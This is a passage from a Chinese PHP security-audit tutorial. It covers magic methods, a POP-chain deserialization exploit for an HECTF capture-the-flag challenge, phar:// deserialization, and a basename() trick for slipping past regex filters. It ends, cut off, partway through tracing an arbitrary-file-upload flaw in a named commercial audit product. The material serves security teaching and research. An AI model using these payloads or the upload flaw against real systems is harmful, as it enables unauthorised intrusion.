e\u7f6e\u4e86\u3002\u6240\u4ee5\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u6211\u4eec\u4f7f\u7528\u8fd9\u4e2a\u51fd\u6570\u53bb\u68c0\u6d4b\u5bf9\u8c61\u91cc\u9762\u7684\u6210\u5458\u662f\u5426\u8bbe\u5b9a\uff0c\u90a3\u4e48\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsxs)(n.p,{children:["\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u516c\u6709\u6210\u5458\uff0c\u90a3\u6ca1\u4ec0\u4e48\u95ee\u9898\u3002\u5018\u82e5\u5bf9\u8c61\u7684\u6210\u5458\u662f\u79c1\u6709\u6210\u5458\uff0c\u90a3\u8fd9\u4e2a\u51fd\u6570\u5c31\u4e0d\u884c\u4e86\uff0c\u4eba\u5bb6\u6839\u672c\u5c31\u4e0d\u5141\u8bb8\u4f60\u8bbf\u95ee\uff0c\u4f60\u548b\u80fd\u68c0\u6d4b\u4eba\u5bb6\u662f\u5426\u8bbe\u5b9a\u4e86\u5462\uff1f\u90a3\u6211\u4eec\u8be5\u600e\u4e48\u529e\uff1f\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u5728\u7c7b\u91cc\u9762\u52a0\u4e0a",(0,r.jsx)(n.code,{children:"__isset()"}),"\u65b9\u6cd5\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u4f7f\u7528",(0,r.jsx)(n.code,{children:"isset()"}),"\u5728\u5bf9\u8c61\u5916\u9762\u8bbf\u95ee\u5bf9\u8c61\u91cc\u9762\u7684\u79c1\u6709\u6210\u5458\u4e86\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __isset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528isset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\techo isset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648354.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__unset",children:"__unset()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u65b9\u6cd5\u57fa\u672c\u548c",(0,r.jsx)(n.code,{children:"__insset"}),"\u60c5\u51b5\u4e00\u81f4\uff0c\u90fd\u662f\u5728\u7c7b\u5916\u8bbf\u95ee\u7c7b\u5185\u79c1\u6709\u6210\u5458\u65f6\u8981\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u57fa\u672c\u8c03\u7528\u7684\u65b9\u6cd5\u548c\u4e0a\u9762\u4e00\u81f4\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'name = $name;\n\t\t}\n\t\t\n\t\tpublic function __unset($content){\n\t\t\techo "\u5f53\u5728\u7c7b\u5916\u9762\u8c03\u7528unset\u65b9\u6cd5\u65f6\uff0c\u90a3\u4e48\u6211\u5c31\u4f1a\u6267\u884c\uff01"."
";\n\t\t\techo isset($this->$content);\n\t\t}\n }\n\t$ameng = new Ameng("Ameng");\n\tunset($ameng->name);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648355.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__tostring",children:"__toString()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e00\u4e2a\u5bf9\u8c61\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u6765\u4f7f\u7528\u65f6\uff0c\u5c31\u4f1a\u81ea\u52a8\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u4e14\u5728\u8be5\u65b9\u6cd5\u4e2d\uff0c\u53ef\u4ee5\u8fd4\u56de\u4e00\u5b9a\u7684\u5b57\u7b26\u4e32\uff0c\u6765\u8868\u793a\u8be5\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\u4e4b\u540e\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u8bbf\u95ee\u7c7b\u7684\u5c5e\u6027\u7684\u65f6\u5019\u90fd\u662f",(0,r.jsx)(n.code,{children:"$\u5b9e\u4f8b\u5316\u540d\u79f0->\u5c5e\u6027\u540d"}),"\u8fd9\u6837\u7684\u683c\u5f0f\u53bb\u8bbf\u95ee\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5echo\u53bb\u8f93\u51fa\u5bf9\u8c61\uff0c\u53ef\u662f\u5f53\u6211\u4eec\u4f7f\u7528",(0,r.jsx)(n.code,{children:"__tostring()"}),"\u5c31\u53ef\u4ee5\u76f4\u63a5\u7528echo\u6765\u8f93\u51fa\u4e86\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __toString(){\n return $this->name . $this->age . '\u5c81\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\techo $ameng;\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-text",children:"Ameng3\u5c81\u4e86\n"})}),"\n",(0,r.jsx)(n.h4,{id:"__invoke",children:"__invoke()"}),"\n",(0,r.jsxs)(n.p,{children:["\u5f53\u5c1d\u8bd5\u4ee5\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u65f6\uff0c",(0,r.jsx)(n.code,{children:"__invoke()"}),"\u65b9\u6cd5\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u7248\u672c\u8981\u6c42\uff1a"}),"\n",(0,r.jsx)(n.p,{children:"PHP > 5.3.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"name = $name;\n $this->age = $age;\n }\n public function __invoke(){\n echo '\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\u4e86';\n }\n }\n\t$ameng = new Ameng('Ameng',3);\n\t$ameng();\n?>\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u4f60\u7528\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e86\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u8d77\u4f5c\u7528\n"})}),"\n",(0,r.jsx)(n.h4,{id:"pop\u94fe\u7684\u6784\u9020",children:"pop\u94fe\u7684\u6784\u9020"}),"\n",(0,r.jsx)(n.h4,{id:"\u601d\u8def",children:"\u601d\u8def"}),"\n",(0,r.jsxs)(n.ol,{children:["\n",(0,r.jsx)(n.li,{children:"\u5bfb\u627e\u4f4d\u70b9\uff08unserialize\u51fd\u6570\u2014>\u53d8\u91cf\u53ef\u63a7\uff09"}),"\n",(0,r.jsx)(n.li,{children:"\u6b63\u5411\u6784\u9020\uff08\u5404\u79cd\u65b9\u6cd5\uff09"}),"\n",(0,r.jsx)(n.li,{children:"\u53cd\u5411\u63a8\u7406\uff08\u4ece\u8981\u5b8c\u6210\u7684\u76ee\u7684\u51fa\u53d1\uff0c\u53cd\u5411\u63a8\u7406\uff0c\u6700\u540e\u627e\u5230\u6700\u5148\u88ab\u8c03\u7528\u7684\u4f4d\u7f6e\u5904\uff09"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50(HECTF)\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'token_flag = $this->token = md5(rand(1,10000));\n $this->token =&$this->token_flag;\n }\n public function __invoke(){\n $this->token_flag = md5(rand(1,10000));\n \n if($this->token === $this->token_flag)\n {\n echo "flag{**********}";\n }\n }\n}\nclass Show\n{\n public $source;\n public $str;\n public function __construct()\n {\n echo $this->source."
";\n }\n\n public function __toString()\n {\n $this->str[\'str\']->source;\n }\n public function __wakeup()\n {\n if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) {\n echo "hacker~";\n $this->source = "index.php";\n }\n }\n}\n\nclass Test\n{\n public $params;\n public function __construct()\n {\n $this->params = array();\n }\n\n public function __get($key)\n {\n $func = $this->params;\n return $func();\n }\n}\nif(isset($_GET[\'chal\']))\n{\n $chal = unserialize($_GET[\'chal\']);\n}\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u8981\u62ff\u5230flag\uff0c\u5728",(0,r.jsx)(n.code,{children:"__invoke()"}),"\u51fd\u6570\uff0c\u5f53\u5bf9\u8c61\u88ab\u5f53\u4f5c\u51fd\u6570\u8c03\u7528\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u81ea\u52a8\u6267\u884c\u8be5\u51fd\u6570\u3002\u6240\u4ee5\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u7528\u51fd\u6570\u6765\u8c03\u7528\u5bf9\u8c61\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u9996\u5148\u627e\u5230\u8d77\u70b9\uff0c\u5c31\u662funserialize\u51fd\u6570\u7684\u53d8\u91cf\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u53d8\u91cf\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u4f46\u662f\u80af\u5b9a\u662f\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u534f\u8bae\uff0c\u90a3\u4e9b\u534f\u8bae\u6211\u5728\u4e0a\u9762\u4e5f\u7b80\u5355\u4ecb\u7ecd\u8fc7\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u51fd\u6570\u7684\u8fc7\u7a0b\u641c\u7d22\uff0c\u6211\u4eec\u80fd\u591f\u770b\u5230preg_match\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f1a\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u5904\u7406\uff0c\u5728\u7c7bTest\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u7ed9$func\u8d4b\u503c\u7ed9Read\u5bf9\u8c61\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u5982\u4e0bpop\u94fe"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"token = &$read->token_flag;\n $test->params = $read;\n $show->str['str'] = $test;\n $show->source = $show;\n echo serialize($show);\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u7ed9\u4e2a\u56fe\u603b\u7ed3\u4e00\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648356.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",children:"phar\u4e0e\u53cd\u5e8f\u5217\u5316"}),"\n",(0,r.jsx)(n.h5,{id:"\u7b80\u4ecb-1",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(n.p,{children:'PHAR\uff08"PHP archive"\uff09\u662fPHP\u91cc\u7c7b\u4f3cJAR\u7684\u4e00\u79cd\u6253\u5305\u6587\u4ef6\uff0c\u5728PHP > 5.3\u7248\u672c\u4e2d\u9ed8\u8ba4\u5f00\u542f\u3002\u5176\u5b9e\u5c31\u662f\u7528\u6765\u6253\u5305\u7a0b\u5e8f\u7684\u3002'}),"\n",(0,r.jsx)(n.h5,{id:"\u6587\u4ef6\u7ed3\u6784",children:"\u6587\u4ef6\u7ed3\u6784"}),"\n",(0,r.jsxs)(n.ol,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsxs)(n.p,{children:["a stub\uff1a",(0,r.jsx)(n.code,{children:"xxx"}),"\u524d\u9762\u5185\u5bb9\u4e0d\u9650\uff0c\u540e\u9762\u5fc5\u987b\u4ee5",(0,r.jsx)(n.code,{children:"__HALT_COMPILER();?>"}),"\u7ed3\u5c3e\uff0c\u5426\u5219phar\u6269\u5c55\u65e0\u6cd5\u5c06\u8be5\u6587\u4ef6\u8bc6\u522b\u4e3aphar\u6587\u4ef6\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"\u5b98\u65b9\u624b\u518c"}),"\n",(0,r.jsx)(n.p,{children:"phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u4e0a\u8ff0\u653b\u51fb\u624b\u6cd5\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648357.png",alt:"img"})}),"\n",(0,r.jsx)(n.h5,{id:"\u5b9e\u9a8c",children:"\u5b9e\u9a8c"}),"\n",(0,r.jsxs)(n.p,{children:["\u524d\u63d0\uff1a\u5c06",(0,r.jsx)(n.code,{children:"php.ini"}),"\u4e2d\u7684",(0,r.jsx)(n.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,r.jsx)(n.code,{children:"off"}),"\uff0c\u4e0d\u7136\u65e0\u6cd5\u751f\u6210phar\u6587\u4ef6\u3002"]}),"\n",(0,r.jsx)(n.h6,{id:"pharphp",children:"phar.php\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'startBuffering();\n $phar->setStub(""); //\u8bbe\u7f6estub\n $o = new TestObject();\n $o -> data=\'Hello I am Ameng\';\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u6211\u4eec\u8bbf\u95ee\u4e4b\u540e\uff0c\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648358.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u7136\u540e\u67e5\u770b\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u5230meta-data\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u3002\u65e2\u7136\u5b58\u5728\u5e8f\u5217\u5316\u7684\u6570\u636e\uff0c\u90a3\u80af\u5b9a\u6709\u5e8f\u5217\u5316\u7684\u9006\u5411\u64cd\u4f5c\u53cd\u5e8f\u5217\u5316\u3002\u90a3\u4e48\u8fd9\u91cc\u5728PHP\u4e2d\u5b58\u5728\u5f88\u591a\u901a\u8fc7",(0,r.jsx)(n.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\u89e3\u6790phar\u6587\u4ef6\u65f6\uff0c\u4f1a\u5c06meta-data\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u53ef\u7528\u51fd\u6570\u5982\u4e0b\u56fe"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648359.png",alt:"img"})}),"\n",(0,r.jsx)(n.h6,{id:"amengphp",children:"Ameng.php"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" data; // TODO: Implement __destruct() method.\n }\n}\ninclude('phar://phar.phar');\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648360.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u91cc\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0bphar\u7684\u5927\u81f4\u5e94\u7528\uff0c\u66f4\u8be6\u7ec6\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(n.a,{href:"https://paper.seebug.org/680/",children:"seebug (opens new window)"}),"\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",children:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3"}),"\n",(0,r.jsx)(n.h4,{id:"basename",children:"basename()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u6587\u4ef6\u540d\u7684\u4e00\u90e8\u5206(\u540e\u9762)"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"basename(path,suffix)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-31",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"path\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u68c0\u67e5\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(n.li,{children:"suffix\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u6269\u5c55\u540d\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ntest.php\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u8fd8\u6709\u4e00\u4e2a\u7279\u70b9\uff0c\u5c31\u662f\u4f1a\u53bb\u6389\u6587\u4ef6\u540d\u7684\u975eASCII\u7801\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u901a\u8fc7 url \u4f20\u5165\u53c2\u6570",(0,r.jsx)(n.code,{children:"x=index.php/config.php/%ff"})]}),"\n",(0,r.jsx)(n.p,{children:"\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648361.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u770b\u5230\uff0c",(0,r.jsx)(n.code,{children:"%ff"}),"\u76f4\u63a5\u6ca1\u4e86\uff0c\u800c\u662f\u76f4\u63a5\u8f93\u51fa\u524d\u9762\u7684\u7684\u6587\u4ef6\u540d\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u7528\u6765\u7ed5\u8fc7\u4e00\u4e9b\u6b63\u5219\u5339\u914d\u3002\u539f\u56e0\u5c31\u5728\u4e8e",(0,r.jsx)(n.code,{children:"%ff"}),"\u5728\u901a\u8fc7 url \u4f20\u53c2\u65f6\u4f1a\u88ab url \u89e3\u7801\uff0c\u89e3\u7801\u6210\u4e86\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u6ee1\u8db3\u4e86",(0,r.jsx)(n.code,{children:"basename"}),"\u51fd\u6570\u5bf9\u6587\u4ef6\u540d\u7684\u975eASCII\u503c\u53bb\u9664\u7684\u7279\u70b9\uff0c\u4ece\u800c\u88ab\u5220\u6389\u3002"]}),"\n",(0,r.jsx)(n.h2,{id:"\u5b9e\u6218\u9879\u76ee",children:"\u5b9e\u6218\u9879\u76ee"}),"\n",(0,r.jsx)(n.h3,{id:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edfphp",children:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edf(PHP)"}),"\n",(0,r.jsxs)(n.p,{children:["\u5bfb\u627e\u5173\u952e\u51fd\u6570 ",(0,r.jsx)(n.code,{children:"move_uploaded_file"})]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648362.png",alt:"image-20240910171850890"})}),"\n",(0,r.jsx)(n.p,{children:"\u63d0\u53d6\u90e8\u5206\u4ee3\u7801\u8fdb\u884c\u5206\u6790"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"if($get_url_param == 'aaa_local_web_preview'){\n\tif($_GET['name']!=null) $filename = formatget($_GET['name']);\n\tif($_GET['suffix']!=null) $suffix = formatget($_GET['suffix']);\n\tif($_GET['webTitle']!=null) $webTitle = formatget($_GET['webTitle']);\n\tif($_GET['wcmWord']!=null) $wcmWord = formatget($_GET['wcmWord']);\n\tif($_GET['titleOnly']!=null) $titleOnly = formatget($_GET['titleOnly']);\n\n\tif($_GET['read']!=null) $read = formatget($_GET['read']);\n\t$read = ($read)?$read:0;\n\n\t$webTitle = ($webTitle)?$webTitle:\"\";\n\t$wcmWord = ($wcmWord)?$wcmWord:\"\";\n\n\t$webTitle = utf8format($webTitle);\n\t$wcmWord = utf8format($wcmWord);\t\n\t\n\t//\u5df2\u7ecf\u9884\u89c8\u8fc7\uff0c\u4e0d\u518d\u8fdb\u884c\u4e0a\u4f20\u56fe\u7247\u52a8\u4f5c\uff0c\u4e14\u4e0d\u5220\u9664tmpPic\u6587\u4ef6\n\tif(!$read){\n\t\t\tif((!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.png'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpeg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.gif'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic'))){\n\t\t\tmove_uploaded_file($_FILES[$filename][\"tmp_name\"],'/usr/local/webui/auth/images/tmpPic'.$suffix);\n\t\t\t$preview_tip = '\u4e0a\u4f20\u6587\u4ef6\u8fc7\u5927\uff0c\u5efa\u8bae\u5c0f\u4e8e'.$size.'MB';\n\t\t\tif(filesize('/usr/local/webui/auth/images/tmpPic'.$suffix)>$bytesize){\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic'.$suffix);\n\t\t\t\techo \"{\";\n\t\t\t\techo\t\t\t\t\"tip: '\" . $preview_tip . \"',\\n\";\n\t\t\t\techo\t\t\t\t\"msg: '\" . $msg . \"'\\n\";\n\t\t\t\techo \"}\";\n\t\t\t\treturn;\n\t\t\t}\n\t\t}else{\n\t\t\tmove_uploaded_file($_FILES[$filename][\"tmp_name\"],'/usr/local/webui/auth/images/test'.$suffix);\n\t\t\t$preview_tip = '\u4e0a\u4f20\u6587\u4ef6\u8fc7\u5927\uff0c\u5efa\u8bae\u5c0f\u4e8e'.$size.'MB';\n\t\t\tif(filesize('/usr/local/webui/auth/images/test'.$suffix)>$bytesize){\n\t\t\t\techo \"{\";\n\t\t\t\techo\t\t\t\t\"tip: '\" . $preview_tip . \"',\\n\";\n\t\t\t\techo\t\t\t\t\"msg: '\" . $msg . \"'\\n\";\n\t\t\t\techo \"}\";\n\t\t\t\treturn;\n\t\t\t}else{\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.jpg');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.png');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.gif');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.jpeg');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic');\n\t\t\t\trename('/usr/local/webui/auth/images/test'.$suffix,'/usr/local/webui/auth/images/tmpPic'.$suffix);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\n\t$tmpPage = file_get_contents('/usr/local/webui/auth/index_template.html',true);\n\n\tif($suffix == \"milo\"){\n\t\t$newName = \"main.jpg\";\n\t}else{\n\t\t$newName = 'tmpPic'.$suffix;\n\t}\n\t\n\t//\u6362\n\t\n\t//\u53d6\u6d88\u6309\u94ae\u4f5c\u7528\n\t$tmpPage = str_replace('onclick', '',$tmpPage);\n\t//$tmpPage = str_replace('button', 'but',$tmpPage);\n\t$tmpPage = str_replace('function form_submit()', 'function form_fail()',$tmpPage);\n\t$tmpPage = str_replace('javascript:login_out();', 'javascript:;',$tmpPage);\n\t$tmpPage = str_replace('auth_changepwd.html?weburl=', '',$tmpPage);\n\t$tmpPage = str_replace('{title}', $webTitle,$tmpPage);\n\t$tmpPage = str_replace('{wcmWord}', $wcmWord,$tmpPage);\n\t$tmpPage = str_replace('main.jpg', $newName,$tmpPage);\n\n\tfile_put_contents('/usr/local/webui/auth/preview.html',$tmpPage);\n\n\t$new = $filename;\n\t$msg = \"success\";\n\n\techo \"{\";\n\techo\t\t\t\t\"error: '\" . $new . \"',\\n\";\n\techo\t\t\t\t\"msg: '\" . $msg . \"'\\n\";\n\techo \"}\";\n\treturn;\n}\n\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u53d1\u73b0\u5371\u9669\u4f4d\u7f6e",(0,r.jsx)(n.code,{children:"move_uploaded_file"}),"\u8be5\u903b\u8f91\u91cc\u5b58\u5728\u4e24\u4e2a\uff0c\u7b2c\u4e00\u4e2a\u53d1\u73b0\u662f\u9700\u8981\u5b58\u5728\u7684\u624d\u80fd\u8fdb\u5165\u5176\u4e2d\uff0c\u6240\u4ee5\u76f4\u63a5\u770b\u7b2c\u4e8c\u4e2a\u5373\u53ef"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648363.png",alt:"image-20240910172055291"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5411\u4e0a\u627e\u5bfb",(0,r.jsx)(n.code,{children:"$suffix"})," \u53c2\u6570\uff0c\u53d1\u73b0\u662f\u901a\u8fc7",(0,r.jsx)(n.code,{children:"GET"}),"\u4f20\u5165\uff0c\u4e14\u8fdb\u5165",(0,r.jsx)(n.code,{children:"formatget"}),"\u51fd\u6570"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648364.png",alt:"image-20240910172352684"})}),"\n",(0,r.jsxs)(n.p,{children:["\u67e5\u8be2",(0,r.jsx)(n.code,{children:"formatget"}),"\u51fd\u6570\u5b58\u5728\u4e24\u4e2a\u7528\u6cd5\uff0c\u4f46\u8fd9\u4e24\u4e2a\u51fd\u6570\u4f60\u4f1a\u53d1\u73b0\u662f\u4e00\u81f4\u7684"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648365.png",alt:"image-20240910172435968"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648366.png",alt:"image-20240910172515067"})}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"htmlspecialchars"}),"\u4e3a\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3aHTML\u7f16\u7801\uff0c\u8fd4\u56de\u4e00\u4e2a\u53bb\u6389\u53cd\u659c\u6760\u7684\u5b57\u7b26\u4e32\u3002",(0,r.jsx)(n.code,{children:"stripslashes"}),"\u8bc6\u522b\u7